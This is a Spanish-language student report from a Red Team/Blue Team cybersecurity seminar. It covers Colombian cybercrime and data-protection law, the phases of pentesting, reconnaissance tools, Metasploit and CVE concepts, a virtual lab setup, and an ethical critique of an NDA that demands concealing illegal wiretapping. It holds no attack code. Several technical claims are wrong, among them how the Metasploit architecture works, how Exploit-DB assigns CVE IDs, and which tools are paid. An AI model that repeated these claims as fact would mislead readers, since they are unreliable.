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1. RESUMEN

El presente documento es el informe técnico correspondiente a la fase 5 del Seminario
Especializado en Equipos Estratégicos de Ciberseguridad Red Team y Blue Team,
donde se desarrollan cada una de las etapas que componen el seminario relacionadas
con el problema planteado de la organizacion HackinHouse, donde se plantearon temas
legales, técnicas de ataque y de contencion de ataques cibernéticos y algunas de las
herramientas usadas en cada una de las fases. El presente informe se resume en las
siguientes etapas:

ETAPA 1. CONCEPTOS EQUIPOS DE SEGURIDAD. En esta etapa se identifican
algunas de las leyes que rigen en Colombia en cuanto a delitos informéticos y datos
personales. Por otro lado, se estudian algunos conceptos importantes relacionados con
la seguridad informética y se comienza la configuracién del banco de trabajo para el
inicio de los ejercicios practicos a realizar frente al problema de seguridad planteado en
el caso de estudio.

ETAPA 2: ACTUACION ETICA Y LEGAL. En esta etapa se analiza un acuerdo de
confidencialidad ofrecido por una empresa para la prestacion de servicios en
ciberseguridad, con el fin de identificar bajo las leyes vigentes y principios éticos la
conveniencia de ser aceptado por parte de un profesional en ciberseguridad.

ETAPA 3: EJECUCION PRUEBAS DE INTRUSION. Se realiza prueba por parte de
equipo atacante o Red Team, practica de intrusion (Pentesting), basado en el caso de
estudio bajo las condiciones de la guia de actividades y planteamiento del uso de
herramientas especializadas para la explotacion.

ETAPA 4: CONTENCION DE ATAQUES INFORMATICOS. En este caso se realiza la
practica con el equipo de contencion o Blue Team, donde se analiza y se contiene el
ataque, se corrigen las vulnerabilidades encontradas y se realiza hardenizacién del
equipo atacado con el fin de evitar o mitigar futuros ataques.

ETAPA 5: SOCIALIZACION DE INFORME TECNICO. En esta etapa se consolida toda
la informacion de las etapas anteriores y se generan conclusiones de los temas
estudiados a cerca de la importancia de los equipos especializados en ciberseguridad,
Red Team y Blu Team, ademas se mencionan aspectos que deben tener en cuenta las
organizaciones para comprender la necesidad de invertir en ciberseguridad.

Finalmente, se comparte el video de sustentacibn de las etapas del seminario
especializado.



2. GLOSARIO

ACCESO NO AUTORIZADO: Hace referencia la obtencion de accesos a un
determinado sitio web, servidor o cualquier informacion confidencial empleando detalles
de cuentas de otros individuos.

AMENAZAS PERSISTENTES AVANZADAS: Hace referencia a invasiones de una red
por parte de uno o varios usuarios no autorizados durante un tiempo prolongado con la
finalidad de robar datos y no dejar ningun dafio en la red.

ATAQUE: Se refiera a una violacién de los sistemas de seguridad de un servidor.

BLUE TEAM: Es un grupo que se encarga de los procedimientos de defensa durante
una simulacién de ataque a los sistemas de seguridad cibernéticos.

CORTAFUEGOS: Puede ser un hardware o software utilizado para filtrar el trafico que
se dirige a una red en particular.

EXPLOIT: Se refiera a obtener provecho de una region vulnerable de un sistema de
informacion.

METERPRETER: Es un Payload que permite ejecutar tareas en forma remota.

PAYLOAD: Es el cbdigo o aplicaciéon que se ejecuta para explotar una vulnerabilidad
encontrada.

PENTESTING: Es una prueba que busca vulnerar un sistema informatico, con el fin de
encontrar fallas de seguridad y verificar el alcance que pueden tener, existen varios
tipos de Pentesting segun el tipo de informacion que se tiene para realizar la prueba.

PRUEBAS DE PENETRACION: Pruebas desarrolladas con la finalidad de exhibir fallas
en los sistemas seguridad y asi poder ofrecer una solucion antes de que ocurra un
ataque.

RED TEAM: Se refiera al grupo que se encarga de llevar a cabo los ataques a los
sistemas de seguridad durante una simulacion de ataque a la red.

RIESGO: Consideracion de las magnitudes de los dafios que pueden sufrir las redes si
llegara a haber una situacién peligrosa.

VULNERABILIDAD: Es Una debilidad en un sistema que puede ser usada por un
delincuente para realizar un ataque.



3. INTRODUCCION

En el mundo actual donde todo, o casi todo, se encuentra interconectado, los datos o
informacion cada vez toman mas relevancia, es mas valiosa y requiere que sea
asegurada de la misma manera, 0 mejor, que como se aseguran elementos fisicos de
valor, ya que la informacion en el campo digital puede ser atacado de muchas mas
maneras que los elementos fisicos y los delincuentes que estan interesados en obtener
beneficios pueden estar en cualquier parte del mundo.

Por este motivo, el campo de la seguridad informatica también poco a poco ha venido
tomando la relevancia que amerita, frente a los miles de ataques, fraudes y dafios que
se generan a diario en el mundo y asi como se encuentran formas para acceder o
atacar los sistemas, por otro lado, también se crean modelos y herramientas para la
seguridad y prevencion.

Es asi como se han creado equipos especializados en trabajar en cada area de la
ciberseguridad con el fin de brindar una solucion completa a las necesidades y a la
complejidad de las infraestructuras actuales de los sistemas informaticos.

Este documento se relacionan aspectos éticos y legales que deben tener en cuenta los
especialistas en la seguridad informatica para ejercer sus actividades ya sea que
pertenezcan 0 no a una organizacion, con el fin de evitar sanciones penales,
econdmicas y profesionales.

Adicionalmente, se puede evidenciar en el documento la ejecucion de las practicas y
ejercicios tanto en ataque como en contencion por medio de las actividades planteadas
en las guias de actividades con el fin de comprender y abordar las labores que se
ejecutan por parte de los equipos especializados en ciberseguridad, Blue Team y Red
Team.



4. OBJETIVOS
4.1 OBJETIVO GENERAL

Evaluar la importancia de aplicar seguridad en la informacién con el fin de evitar o
mitigar los efectos de posibles ataques cibernéticos a que se enfrentan las
organizaciones y comprender alcances, herramientas y limitantes que tienen los
equipos especializados en ciberseguridad Blue Team y Red Team para ejercer sus
actividades profesionales.

4.2 OBJETIVOS ESPECIFICOS

e Reconocer el marco legal y ético dentro del cual los especialistas en
ciberseguridad deben ejercer sus actividades profesionales.

e Verificar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.

e Realizar pruebas de penetracion en el caso de estudio planteado con
herramientas de equipos Red Team.

e Ejecutar el andlisis y contencidén del ataque presentado en el caso de estudio
como equipo Blue Team.

e Comprender la importancia que tienen los equipos estratégicos de
ciberseguridad para el desemperio de la seguridad en las organizaciones.

e Concluir los aspectos que le dan la importancia y la necesidad que tienen las
organizaciones de invertir en ciberseguridad para hacer frente a los riesgos que
se presentan en la actualidad.

e Consolidar y exponer mediante un video todos los temas del seminario
especializado en equipos especializados en ciberseguridad Blue Team y Red

Team.



5. DESARROLLO DEL TRABAJO
5.1 ETAPA 1. CONCEPTOS EQUIPOS DE SEGURIDAD

1. Actualmente en Colombia existen marcos regulatorios los cuales se enfocan no
solamente a ley de delitos informaticos sino a la proteccion de datos personales los
cuales deben ser asegurados por parte de organizaciones las cuales retunen data de
miles de personas. En este orden de ideas se requiere que defina de forma general y
con sus palabras qué menciona la ley 1273 de 2009 y definir cada articulo; ademas
deben explicar de manera general todo al respecto de la ley 1581 de 2012. Para la ley
1581 de 2012 deben consultar el monto de las multas correspondientes y la entidad que
regula este tema en Colombia.

LEY 1273 DE 2009. Normatividad sobre delitos informaticos

En Colombia, existen leyes que regulan y tienen como objetivo proteger la seguridad de
la informacién, como la Ley 1273 de 2009 por medio de la cual se complementa el
codigo penal mediante la creacion de un nuevo bien juridico tutelado que se centra en
la proteccion de la informacidén y los datos y con la cual se pretende preservar los

sistemas que utilizan tecnologias de la informacién y las comunicaciones.

Esta ley se encuentra dividida en dos capitulos:

CAPITULO PRIMERO. De los atentados contra la confidencialidad, la integridad y la

disponibilidad de los datos y de los sistemas informaticos.

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO: Acceder sin
autorizacion o fuera de lo acordado a un sistema informatico puede incurrir en pena de
prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000

salarios minimos legales mensuales vigentes.
Articulo 269B. OBSTACULIZACION ILEGITIMA DE SISTEMA INFORMATICO O RED

DE TELECOMUNICACION: Impedir el acceso a los datos o a la red de un sistema

informatico sin estar autorizado para ello, incurre en pena de prision de cuarenta y ocho
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(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

mensuales vigentes.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. Interceptar datos
informéticos en su origen, destino o en el interior de un sistema informético sin una
orden judicial incurrira en pena de prisién de treinta y seis (36) a setenta y dos (72)

meses.

Articulo 269D. DANO INFORMATICO: Destruir, borrar, alterar o suprimir datos
informaticos o sistema de tratamiento de informacién o componentes incurre en
incurrira en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en

multa de 100 a 1000 salarios minimos legales mensuales vigentes.

Articulo 269E. USO DE SOFTWARE MALICIOSO: Producir, adquirir, vender, enviar,
introducir software malicioso, puede incurrir en pena de prision de cuarenta y ocho (48)
a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

mensuales vigentes.

Articulo 269F. VIOLACION DE DATOS PERSONALES: Obtener, sustraer, ofrecer,
vender, intercambiar comprar, divulgar, modificar datos personales, bases de datos o
medios semejantes sin estar facultado para ello, incurrirda en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios

minimos legales mensuales vigentes.

Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR DATOS
PERSONALES: Disefar, desarrollar, traficar, vender, programar y enviar paginas
electronicas, enviar enlaces con objeto ilicito sin estar facultado para ello puede incurrir
en pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1000 salarios minimos legales mensuales vigentes, la pena se agrava si se han

reclutado victimas en la cadena del delito

11



Articulo 269H. CIRCUNSTANCIAS DE AGRAVACION PUNITIVA: Se describe un
aumento de penas si la conducta se comete en:

¢ Redes estatales o financieras nacionales o internacionales

e Por servidor publico en ejercicio de sus funciones

e Abuso de confianza hacia el tenedor de la informacién o contratante

e Fines terroristas

CAPITULO SEGUNDO. De los atentados informaticos y otras infracciones

Articulo 2691. HURTO POR MEDIOS INFORMATICOS Y SEMEJANTES:

El que, superando medidas de seguridad informaticas, realice la conducta sefialada en
el articulo 239 manipulando un sistema informatico, una red de sistema electronico,
telematico u otro medio semejante, o suplantando a un usuario ante los sistemas de
autenticacion y de autorizacion establecidos, incurrird en las penas sefaladas en el

articulo 240 de este Caodigo.

Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS: Conseguir la
transferencia no consentida de activos mediante alguna manipulacion informatica,
incurrira en pena de prision de cuarenta y ocho (48) a ciento veinte (120) meses y en

multa de 200 a 1500 salarios minimos legales mensuales vigentes.

También es aplicable esta sancién para quienes fabriquen, introduzcan posean o

faciliten programas destinados a la comision del delito antes descrito.

LEY 1581 DE 2012. Por medio de la cual se dictan disposiciones para la proteccion de
datos personales.

Esta ley establece los principios y reglas para el desarrollo del derecho constitucional

gue tienen las personas de conocer, actualiza y rectificar informacién recogidas en
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bases de datos o archivos; basados en la aplicacion integral de unos principios como
son: principios de legalidad, finalidad, libertad, veracidad, transparencia, circulacion
restringida, seguridad y confidencialidad.

Se describe que son los datos sensibles como que son aquellos que afectan la
intimidad del Titular o cuyo uso indebido puede generar su discriminacion, como
aquellos que revelen el origen racial o étnico, la orientacién politica, las convicciones
religiosas o filosdéficas, la pertenencia a sindicatos, asi como los datos relativos a la
salud, a la vida sexual y los datos biométricos.

En esta ley también se especifican los deberes de los responsables del tratamiento y
encargados del tratamiento de los datos, como garantizar el ejercicio del derecho de
habeas data, garantizar las condiciones de seguridad, confidencialidad e integridad de
la informacion recolectada, tramitar consultas, actualizar la informacion requerida y

adoptar un manual interno para el cumplimiento de esta ley.

Se define a La Superintendencia de Industria y Comercio, a través de una Delegatura
para la Proteccion de Datos Personales, como la entidad que ejerce la vigilancia para
garantizar que en el Tratamiento de datos personales se respeten los principios,

derechos, garantias y procedimientos previstos en esta ley.

La Superintendencia podra imponer multas de caracter personal e institucional a los
responsables del tratamiento y encargados del tratamiento hasta por el equivalente de
dos mil (2.000) salarios minimos mensuales legales vigentes al momento de la
imposicién de la sancion. Las multas podran ser sucesivas mientras subsista el

incumplimiento que las origind.

Ademas de las multas, los responsables del tratamiento pueden afrontar suspension de

actividades, cierres temporales y cierres definitivos de las actividades relacionadas con
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el tratamiento de acuerdo con algunos criterios que gradian estas sanciones como

dimensiones del dafio, beneficios econdmicos, reincidencia y desacatos.

2. El pentesting es un proceso de gran vitalidad en el campo de la ciberseguridad, por
este motivo usted debe definir cada etapa del pentesting, pero tiene que especificar con
mayor detalle la etapa de footprinting, de qué trata esta etapa, ¢qué aplicaciones
(Opensource y pagas) podria utilizar para este proceso? ¢Y por qué piensa que es una
de las etapas mas importantes dentro del pentesting?

PENTESTING

El Pentesting es un proceso muy importante para evaluar y mejorar la seguridad de los

sistemas informaticos y aplicaciones.

Se realiza en las siguientes etapas:

1. Reconocimiento: En la cual se recolecta por medio de diferentes herramientas, la
mayor cantidad de informacién del objetivo.

2. Andlisis de vulnerabilidades: Con la informacion obtenida en la etapa anterior, se
busca identificar las vulnerabilidades con las que se pueda comprometer el
objetivo por medio de técnicas y herramientas especiales.

3. Explotacion de vulnerabilidades: Se empiezan a materializar las vulnerabilidades
encontradas en la etapa anterior para obtener el acceso al sistema objetivo.

4. Exploracion: Luego de obtener el acceso al sistema, el atacante busca nuevas
vulnerabilidades, escalar privilegios para obtener mas informacion o verificar si
se puede hacer un mayor dafio e implementar acciones que le permitan tener un
nuevo acceder en el futuro.

5. Reporte: ElI pentesting prepara un documento donde relaciona las

vulnerabilidades encontradas, las herramientas utilizadas, los logros alcanzados,
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fortalezas y debilidades, las vulnerabilidades explotadas y las recomendaciones

para remediarlas.

La etapa de footprinting, es la técnica con la que se recopila la informacion del sistema
informatico, es muy importante ya que de la informacidén obtenida se genera el plan a
ejecutar, las herramientas a utilizar, y es alli donde parte y se estructura todo el proceso
a llevar a cabo y del cual depende mucho el éxito del ejercicio.

Las aplicaciones para ejecutar esta etapa pueden ser:

e NMAP (Network Mapper): Permite el escaneo de la red; puertos, dispositivos, IP,
aplicaciones, servicios y Sistemas operativos.

e Ingenieria social:

e The Harvester: Es una herramienta que se puede utlizar para recopilar
informacion publica en la web sobre sistemas de destino, como direcciones de
correo electronico, nombres de dominio y servidores DNS.

e Shodan: Es un motor de basqueda que se puede utilizar para buscar dispositivos
conectados a Internet.

Aplicaciones pagas:

e Metasploit: Es un marco de pruebas de penetracion que se puede utilizar para
explotar vulnerabilidades en sistemas de destino.

e Burp Suite: Es un conjunto de herramientas de pruebas de penetracion que se
puede utilizar para realizar una serie de tareas, como escaneo de
vulnerabilidades, fuzzing y andlisis de tréfico.

e OWASP Zed Attack Proxy (ZAP): Es un proxy de seguridad de codigo abierto
gue se puede utilizar para realizar pruebas de penetracion en aplicaciones web.

e Maltego: Es un software principalmente forense que sirve para analisis de

enlaces y mineria de datos a partir de IPs, correos, teléfonos, ubicaciones.
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3. Metasploit es quizads una de las herramientas de importancia en el campo de la
seguridad; algunos hackers expertos desarrollan sus propios frameworks, otros deciden
utilizar frameworks existentes, por ello su trabajo en este apartado es buscar el
funcionamiento, arquitectura y opciones que trae Metasploit el cual se encuentra

disponible desde Kali Linux.
METASPLOIT

Metasploit es una herramienta de codigo abierto para la seguridad de la informacion,
proporciona informacion acerca de vulnerabilidades y sirve para realizar pruebas de

penetracion en una amplia gama de sistemas.

Metasploit funciona mediante moédulos almacenados en una biblioteca central que
sirven para realizar multiples tareas, recopilar informacion, encontrar vulnerabilidades,

lanzar ataques y generar reportes.

La arquitectura de Metasploit se basa en el modelo cliente-servidor. El servidor de
Metasploit se ejecuta en una maquina local y se utiliza para almacenar los modulos y
los datos de prueba de penetracion. El cliente de Metasploit se ejecuta en la maquina

gue se esta probando y se utiliza para conectarse al servidor y ejecutar los modulos.

Al momento de buscar vulnerabilidades para que estas sean explotadas por medio de
algun metasploit los expertos en ciberseguridad requieren comprender qué es un CVE y
si este contiene algun exploit para explotar la vulnerabilidad encontrada.

Dentro del proceso descrito en este apartado usted como experto en ciberseguridad

debe buscar y documentar lo siguiente:
¢QUE ES UN CVE Y SU ESTRUCTURA?

Common Vulnerabilitties and Exposures (CVE) es una lista o glosario de

vulnerabilidades y exposiciones comunes de seguridad de la informacion divulgadas
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publicamente, financiado por la Division de Seguridad Nacional de EE. UU. y mantenido

por MITRE Corporation.

Luego de ser documentada, MITRE asigna a cada vulnerabilidad una identificacién
Unica, posteriormente la Base de Datos Nacional de Vulnerabilidades (NVD), publica el

CVE con un andlisis de seguridad correspondiente.

Se entiende por vulnerabilidad como una debilidad que puede ser explotada por un
atacante para obtener acceso no autorizado o realizar acciones no autorizadas en un

sistema informatico.

Una exposicion es un error que le da al atacante la posibilidad de acceso al sistema o la

red.

El objetivo de CVE es facilitar el intercambio de informacion sobre vulnerabilidades

conocidas entre organizaciones.

Los formatos usados para identificar los elementos de esta lista se denominan CVE-ID y

tienen las siguientes formas:
El formato para las entradas CVE es: CVE-YYYY-NNNN (YYYY indica el afio y NNNN
el nimero de vulnerabilidad). Este identificador puede contener, si es necesario, mas de

cuatro digitos.

El formato para las entradas candidatas a entrar en el CVE es: CAN-YYYY-NNNN
(YYYY indica el afio y NNNN el nimero de vulnerabilidad)

A diferencia de las bases de datos de vulnerabilidades, las entradas CVE no incluyen

riesgo, correccion de impacto u otra informacion técnica.
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* https://www.exploit-db.com/ cémo se utilizay como se articula
con el CVE?

Exploit-db.com es una base de datos en linea que recopila exploits para
vulnerabilidades de software conocidas. Los exploits son secuencias de comandos o
programas que pueden utilizarse para aprovechar una vulnerabilidad y tomar el control
de un sistema. Exploit-db.com es una herramienta valiosa para los investigadores de
seguridad, ya que les permite encontrar exploits para vulnerabilidades que pueden
utilizar para probar la seguridad de sus sistemas.

La base de datos de Exploit-db.com se articula con CVE (Common Vulnerabilities and
Exposures) a través del uso de ID de CVE. Los ID de CVE son identificadores unicos
gue se asignan a las vulnerabilidades de software. Cuando un exploit se agrega a
Exploit-db.com, se le asigna un ID de CVE. Esto permite a los investigadores de

seguridad encontrar exploits para vulnerabilidades especificas.

4. Para finalizar esta actividad es importante que usted reconozca, analice y configure

“banco de trabajo” lo solicitado en el anexo 1
ANEXO 1

— Escenario 1 sobre el cual deberé trabajar actividades que contienen un alto grado de

tecnicidad.
Se realizo instalacion del software de virtualizacion, Virtual Box, la figura 1, muestra la
herramienta instalada junto con las maquinas virtuales de diferentes sistemas

operativos, entre ellos el Kali Linux y Windows 10 a utilizar en el proyecto.

Ademas, se pueden identificar las caracteristicas de configuracion establecidas en las

maquinas virtuales requeridas, ver figura 1 a la 6.
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llustracién 1. Maquinas virtuales en virtual box
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llustracion 3. Configuracion memoria base MV Kali
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llustracién 5. Caracteristicas MV Windows 10
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Se verifica la configuracion de red de las maquinas virtuales asignando el adaptador de
red como puente, El modo Adaptador puente simula que la tarjeta virtual esta
conectada al mismo switch que la tarjeta fisica del anfitrion, por lo tanto, la MV se va a
comportar como si fuese un equipo mas dentro de la misma red fisica en la que esta el
equipo anfitrion.

llustracion 6. Configuracion T.RED modo puente
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En las dos maquinas virtuales se deja configurado el modo DHCP.

El protocolo DHCP (Protocolo de configuracion dindmica de host) o también conocido
como «Dynamic Host Configuration Protocol«, es un protocolo de red que utiliza una
arquitectura cliente-servidor. Por medio de este protocolo el servidor se encarga de
asignar de manera dindmica y automéatica una direccion IP a cada host, ya sea una
direccion IP privada desde el router hacia los equipos de la red local, o también una IP
publica por parte de un operador que utilice este tipo de protocolo para el

establecimiento de la conexion.

llustraciéon 7. Modo DHCP en MV Kali
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llustracién 8. Modo DHCP MV Windows 10
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Se realiz6 verificacion de la IP de cada una de las maquinas y se realiza prueba de

conexion mediante ping.

En la maquina virtual de Kali Linux de uso el comando ifconfig para verificar la IP,
mientras en la maquina de Windows se usa el comando ipconfig.

llustraciéon 9. Verificacion IP MV Kali
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llustracién 10. Prueba de conexién MV Windows
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llustracion 11. Verificacion de IP Windows y prueba comunicacion con MV Kali
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Finalmente, luego de establecer la comunicacion entre los dos equipos queda listo el

banco de trabajo para continuar las practicas del curso.
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5.2 ETAPA 2. ACTUACION ETICA Y LEGAL
Explicar y argumentar porqué se torna ilegal este acuerdo de confidencialidad.

Luego de revisar el acuerdo de confidencialidad de la compafiia Hackerhouse para la
incorporacion de expertos en sus equipos de Blue Team y Red Team, se pueden
identificar varios puntos que pueden ser considerados como ilegales en el marco de la
legislacion colombiana y sancionados al desarrollar, ejercer o manejar ciertas

actividades e informacion.

Dentro de las clausulas del acuerdo podemos encontrar los siguientes aspectos a tener

en cuenta en sus aspectos éticos y legales:

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte receptora,

se obliga a no _divulgar directa, indirecta, prOxima a remotamente, ni a través de

ninguna otra persona o de sus subalternos o funcionarios, autoridades legales,

asesores o0 cualquier persona relacionada con ella, la informacion confidencial o sobre

procesos ilegales dentro de HackerHouse no podran ser

divulgados.

Con solo leer esta primera clausula ya se puede empezar a tener una idea general que
las actividades realizadas en la compafiia y que no se encuentran completamente
alineadas o en cumplimiento con aspectos éticos ni legales que nos deben regir, y por
medio de ésta se advierte de entrada que si el candidato descubre o encuentra algo
irregular debe encubrir la actividad y muy posiblemente seguir ejerciéndola en caso de

ser seleccionado.

En la segunda clausula, la definicidbn de informacion confidencial tenemos en el punto

dos, lo siguiente:
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Segunda. Definicibn de informacion confidencial: se entiende como Informacion

Confidencial, para los efectos del presente acuerdo:

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de mercado,
estratégica, de productos, nuevas tecnologias, patentes, modelos de utilidad, disefios

industriales, datos secretos como ‘“‘datos de chuzadas, interceptacion ilegal de

informacion, accesos abusivos a sistemas informaticos”.

En este punto, la empresa revela abiertamente que se realizan chuzadas ilegales de
informacién y accesos abusivo a sistemas informaticos, lo cual es considerado y

sancionado por ser delito por lo cual no puede ser aceptado.

En la cuarta clausula, en cuanto a las obligaciones de la parte receptora, se pueden

considerar al analisis de los puntos 3,4y 5:

3. No denunciar ante las autoridades actividades sospechosas de espionaje o

cualquier otro proceso _en el cual intervenga la apropiaciéon de informacion de

terceros.

4. Responder por el mal uso que le den sus representantes a la informacion

confidencial.

5. Responder ante las autoridades competentes como responsable en caso de
gue la informaciébn se encuentre en su poder dentro de un proceso de

allanamiento.

Ante esta solicitud u obligacion que se adquiere con la firma del documento,
nuevamente se confirma que, dentro de las actividades realizadas por la organizacion,
se pueden encontrar procesos que no son legales como el espionaje o apropiacion de

informacion de terceros, y al pretender que no se denuncie un delito al descubrir delitos
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informaticos, esto se convierte en un encubrimiento ademas de no ser un
comportamiento ético, el empleado puede verse envuelto en investigaciones

posteriores.

En relacion con los puntos 4 y 5, considero que la organizacién pretende desprenderse
de la responsabilidad por el mal uso de la informacion que puede estar ejerciendo en
sus actividades y que sea el empleado quien asuma totalmente las implicaciones que

se afronten.

En la clausula quinta, se observa que la informacién se encuentra incompleta, al no
especificar en forma completa y clara la reserva de la informacion, el documento esta

cortado.

Quinta. Obligaciones de la parte reveladora: Son obligaciones de la parte reveladora:

1. Mantener la reserva de la informacion confidencial hasta tanto...???

La clausula sexta, responsabiliza nuevamente al empleado que acepta firmar el
acuerdo, por el incumplimiento ante terceros por los perjuicios causados y por las

actividades que se realizan en la empresa.

Sexta. Responsabilidad: la parte que contravenga el acuerdo sera responsable ante
la otra parte o ante los terceros de buena fe sobre los cuales se demuestre que se
han visto afectados por la inobservancia del presente acuerdo, por los perjuicios
morales y econdmicos que estos puedan sufrir como resultado del
incumplimiento de las obligaciones aqui contenidas.

La clausula octava, una vez mas, la empresa menciona el tema de la ilegalidad de sus
actividades y que no se hara responsable legalmente de sus acciones, sino por el
contrario, el empleado debe asumir la responsabilidad legal y conseguir su propio

abogado dejando por fuera de todo a la organizacibn HackerHouse, lo cual puede
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costarle al empleado sanciones econdémicas, perdida de la tarjeta profesional y la

carcel.

Octava. Solucion de controversias: Las partes (nombre estudiante — nombre empresa)
se comprometen a esforzarse en resolver mediante los mecanismos alternativos de
soluciéon de conflictos cualquier diferencia que surja con motivo de la ejecucion del
presente acuerdo. En caso que la informacion ilegal o confidencial sea encontrada
en manos del receptor este debera acudir a un abogado privado y dejar exenta de
cualquier responsabilidad legal y penal a HackerHouse.

ARTICULOS DE LA LEY COLOMBIANA QUE SE PODRIA ESTAR VIOLENTANDO
EN EL DOCUMENTO.

Clausula segunda del acuerdo:
Segunda. Definicibn de informacion confidencial: se entiende como Informacion

Confidencial, para los efectos del presente acuerdo:

1. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas

informaticos”.

En relacion con el acceso abusivo a sistemas informaticos, se viola el articulo 269A de
la ley 1273 de 2009, "por medio de la cual se modifica el Cédigo Penal, se crea un
nuevo bien juridico tutelado - denominado "de la proteccién de la informacién y de los
datos" y se preservan integralmente los sistemas que utilicen las tecnologias de la

informacioén y las comunicaciones, entre otras disposiciones".!

1 LEY 1273 DE 2009 (enero 05). (En linea). (16 de agosto de 2023). Disponible en:
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf
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Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO: Acceder sin
autorizacion o fuera de lo acordado a un sistema informético puede incurrir en pena de
prisién de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000

salarios minimos legales mensuales vigentes.

La interceptacion de datos informaticos y las chuzadas ilegales de informacién estan
tipificados en el articulo 269C de la ley 1273 de 2009.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. Interceptar datos
informéticos en su origen, destino o en el interior de un sistema informético sin una
orden judicial incurrira en pena de prision de treinta y seis (36) a setenta y dos (72)

meses.

En la cuarta clausula, el punto 3 habla de espionaje,

3. No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacion de

terceros.

Por lo cual aplica el articulo 269C sobre interceptacion de datos informaticos, ademas
pueden estar incluidos los articulos 269F violacién de datos personales y el articulo
269E uso de software malicioso y el 269A acceso abusivo a un sistema informatico;
ademas puede incluirse en las violaciones la violacion del Articulo 6. Tratamiento de
datos sensibles de la ley 1581 de 2012. En cuanto a que no existe autorizacion para
recopilar informacion sensible de personas.

¢, Si usted llegara a encontrar procesos ilegales en el acuerdo de confidencialidad
usted aceptaria contrato y acuerdo de confidencialidad de la organizacion
HackerHouse, aun conociendo lo que podria disponer COPNIA en su cdédigo de

ética y sanciones en Colombia para profesionales de ingenieria?
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Uno de los aspectos mas importantes a tener en cuenta al estudiar una oferta laboral y
en particular una como la planteada en el caso de estudio, es el conocimiento del marco
legal que regula las actividades a desarrollar en el sitio donde ejercen las actividades y
donde se es contratado, en este caso, solamente viendo en las leyes colombianas ya
podemos encontrar varios articulos de la ley que se infringen, las sanciones
econdémicas y penales que se puede presentar en caso de firmar e iniciar labores en la

organizacion HackerHouse.

Por otro lado, si analizamos el Codigo de Etica para el ejercicio de la Ingenieria en
general y sus profesiones afines y auxiliares, se puede observar que el acuerdo y el
ejercicio de la actividad en la organizacion HackerHouse incumple varios de los
articulos importantes sobre las conductas se exigen, se prohiben o que pueden

inhabilitan a los ingenieros en general y a sus profesionales afines o auxiliares.

Entre las acciones que se pueden incurrir y que estarian en contra del cédigo de ética

en caso de laborar con HackerHouse podemos tener las siguientes:

CAPITULO Il. DE LOS DEBERES Y OBLIGACIONES DE LOS PROFESIONALES.
ARTICULO 31. DEBERES GENERALES DE LOS PROFESIONALES.

f) Denunciar los delitos, contravenciones y faltas contra este Codigo de Etica, de que
tuviere conocimiento con ocasion del ejercicio de su profesion, aportando toda la

informacion y pruebas que tuviere en su poder;

ARTICULO 32. PROHIBICIONES GENERALES A LOS PROFESIONALES. Son
prohibiciones generales a los profesionales:

b) Permitir, tolerar o facilitar el ejercicio ilegal de las profesiones reguladas por esta ley;

ARTICULO 34. PROHIBICIONES ESPECIALES A LOS PROFESIONALES
RESPECTO DE LA SOCIEDAD. Son prohibiciones especiales a los profesionales

respecto de la sociedad:
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a) Ofrecer o aceptar trabajos en contra de las disposiciones legales vigentes, o
aceptar tareas que excedan la incumbencia que le otorga su titulo y su propia
preparacion;

ARTICULO 35. DEBERES DE LOS PROFESIONALES PARA CON LA DIGNIDAD DE
SUS PROFESIONES. Son deberes de los profesionales de quienes trata este Codigo
para con la dignidad de sus profesiones:

b) Respetar y hacer respetar todas las disposiciones legales y reglamentaras que
incidan en actos de estas profesiones, asi como denunciar todas sus transgresiones;
FALTAS GRAVISIMAS. (Articulo 53 de la Ley 842 de 2003)

Se consideran gravisimas y se constituyen en causal de cancelacion de la matricula
profesional, sin requerir la calificacion que de ellas haga el Consejo respectivo, las
siguientes faltas:

e) Incurrir en algun delito que atente contra sus clientes, colegas o autoridades de la
Republica, siempre y cuando la conducta punible comprenda el ejercicio de la
ingenieria o de alguna de sus profesiones auxiliares;

f) Cualquier violacion gravisima, segun el criterio del Consejo respectivo, del régimen
de deberes, obligaciones y prohibiciones que establecen el Codigo Etica y la presente
ley.
Luego de analizar las actuaciones éticas y legales que se aceptaria al momento de

2

firmar el acuerdo con la organizacion HackerHouse, estoy seguro de que no aceptaria
esas condiciones de trabajo y ejercicio de actividades profesionales que violan las

leyes, la ética y pueden llegar afectar gravemente a terceras personas.

Deberéa buscar alguna noticia de cibercrimen en Colombia y redactar su punto de vista
teniendo en cuenta las implicaciones legales y éticas que alli se pudieron generar. Se
solicita que mencione la ley y articulo el cual logre explicar los delitos

expuestos en la noticia que consulto.

2 Consejo Profesional Nacional de Ingenieria COPNIA. (En linea). (17 de agosto de 2023). Disponible en:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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CASO DE CIBERCRIMEN EN COLOMBIA'Y SUS IMPLICACIONES

El domingo 22 de enero de 2023, la empresa Audifarma informa que fue victima de un
ciberataque externo, los atacantes al parecer buscaban apoderarse de informacion de
la organizacion y de sus usuarios, sin embargo, se activaron los controles de seguridad
informatica dispuestos para la deteccion de este tipo de eventos y se controlé la
amenaza inicialmente deshabilitando los servidores fisicos y virtuales lo cual causo

demoras en la atencion y operaciones.

Con el fin de reanudar rdpidamente sus operaciones se activd un plan de contingencia y
